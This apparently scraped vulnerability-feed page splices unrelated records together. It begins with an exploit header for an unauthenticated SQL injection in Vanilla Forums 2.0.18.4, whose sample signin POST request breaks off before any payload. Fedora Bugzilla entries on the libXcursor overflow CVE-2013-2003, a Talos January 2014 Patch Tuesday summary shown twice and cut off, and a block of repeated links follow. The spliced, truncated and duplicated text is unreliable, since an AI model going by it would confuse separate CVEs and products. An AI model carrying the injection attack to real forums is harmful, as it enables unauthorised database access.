# Exploit Author: bl4ckw0rm
# Vendor Homepage: http://vanillaforums.org/
# Version: 2-0-18-4
# Tested on: Windows
Product Name:
Vanilla Forums
Vulnerable Version:
Up to vanilla-core-2-0-18-4
Tested on:
Windows Server 2003
Apache 2.4.3
PHP 5.4.7
MySQL 5.5.27
Vulnerability Overview:
SQL-Injection is possible, because$_POST arrays are not proper sanitized.
You do not need to be authenticated.
Vulnerability Details:
To insert an arbitrary user, a sample HTTP-Post Request looks as follows:
POST /[PATH]/vanilla/entry/signin HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Acce
Bugzilla
CVE-2013-2003 libXcursor: Integer overflow leading to heap-based buffer overlow [fedora-all]
bugzilla·2013-05-24·CVSS 6.8
CVE-2013-2003 [MEDIUM] CVE-2013-2003 libXcursor: Integer overflow leading to heap-based buffer overlow [fedora-all]
CVE-2013-2003 libXcursor: Integer overflow leading to heap-based buffer overlow [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of Fedora.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When creating a Bodhi update request, please use the bodhi submission link
noted in the next comment(s). This will include the bug IDs of this
tracking bug as well as the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
Bodhi notes field when available.
Please note:
Bugzilla
CVE-2013-2003 libXcursor: Integer overflow leading to heap-based buffer overflow
bugzilla·2013-05-03·CVSS 6.8
CVE-2013-2003 [MEDIUM] CVE-2013-2003 libXcursor: Integer overflow leading to heap-based buffer overflow
CVE-2013-2003 libXcursor: Integer overflow leading to heap-based buffer overflow
An integer overflow leading to heap-based buffer overflow was found in the _XcursorFileHeaderCreate() function of libXcursor a simple library designed to help locate and load cursors. If an X client read a malicious user-specified config file, when connecting to an X server, it could result in arbitrary code execution with the privileges of the user running the X client process.
Discussion:
Public via:
http://www.openwall.com/lists/oss-security/2013/05/23/3
---
Created libXcursor tracking bugs for this issue
Affects: fedora-all [bug 966820]
---
libXcursor-1.1.13-5.20130524git8f677eaea.fc19 has been pushed to the Fedora 19 stable repository. If problems still persist, please make note of it in this bug
Talos
Microsoft Update Tuesday: January 2014, fix for the XP/2003 0-day vulnerability
blogs_talos·2014-01-14·CVSS 9.8
CVE-2014-0258 [CRITICAL] Microsoft Update Tuesday: January 2014, fix for the XP/2003 0-day vulnerability
The first Microsoft Update Tuesday of 2014 is here and it’s a very light month this time around. We’ve got 4 bulletins covering 6 CVEs. What’s remarkable is that there’s no Internet Explorer bulletin this month. There are also no bulletins that are marked critical, all 4 bulletins are marked as important.
The first bulletin, MS14-001, is for Word and Office Web Apps, this bulletin covers 3 CVEs (CVE-2014-0258, CVE-2014-0259 and CVE-2014-0260. They are memory corruption vulnerabilities in Word, which could result in remote code execution.
MS14-002 is a fix for the Windows XP/2003 0-day kernel escalation of privilege vulnerability (CVE-2013-5065) that was being exploited in the wild in tandem with the Adobe Reader vulnerability (CVE-2013-3346). Here an attacker would convince the user to o
Talos
Microsoft Update Tuesday: January 2014, fix for the XP/2003 0-day vulnerability
blogs_talos·2014-01-14·CVSS 9.8
CVE-2014-0258 [CRITICAL] Microsoft Update Tuesday: January 2014, fix for the XP/2003 0-day vulnerability
## Microsoft Update Tuesday: January 2014, fix for the XP/2003 0-day vulnerability
The first Microsoft Update Tuesday of 2014 is here and it’s a very light month this time around. We’ve got 4 bulletins covering 6 CVEs. What’s remarkable is that there’s no Internet Explorer bulletin this month. There are also no bulletins that are marked critical, all 4 bulletins are marked as important.
The first bulletin, MS14-001 , is for Word and Office Web Apps, this bulletin covers 3 CVEs ( CVE-2014-0258 , CVE-2014-0259 and CVE-2014-0260 . They are memory corruption vulnerabilities in Word, which could result in remote code execution.
MS14-002 is a fix for the Windows XP/2003 0-day kernel escalation of privilege vulnerability ( CVE-2013-5065 ) that was being exploited in the wild in tandem with the
http://lists.fedoraproject.org/pipermail/package-announce/2013-May/106791.htmlhttp://www.debian.org/security/2013/dsa-2681http://www.openwall.com/lists/oss-security/2013/05/23/3http://www.securityfocus.com/bid/60121http://www.ubuntu.com/usn/USN-1856-1http://www.x.org/wiki/Development/Security/Advisory-2013-05-23http://lists.fedoraproject.org/pipermail/package-announce/2013-May/106791.htmlhttp://www.debian.org/security/2013/dsa-2681http://www.openwall.com/lists/oss-security/2013/05/23/3http://www.securityfocus.com/bid/60121http://www.ubuntu.com/usn/USN-1856-1http://www.x.org/wiki/Development/Security/Advisory-2013-05-23
2013-06-15
Published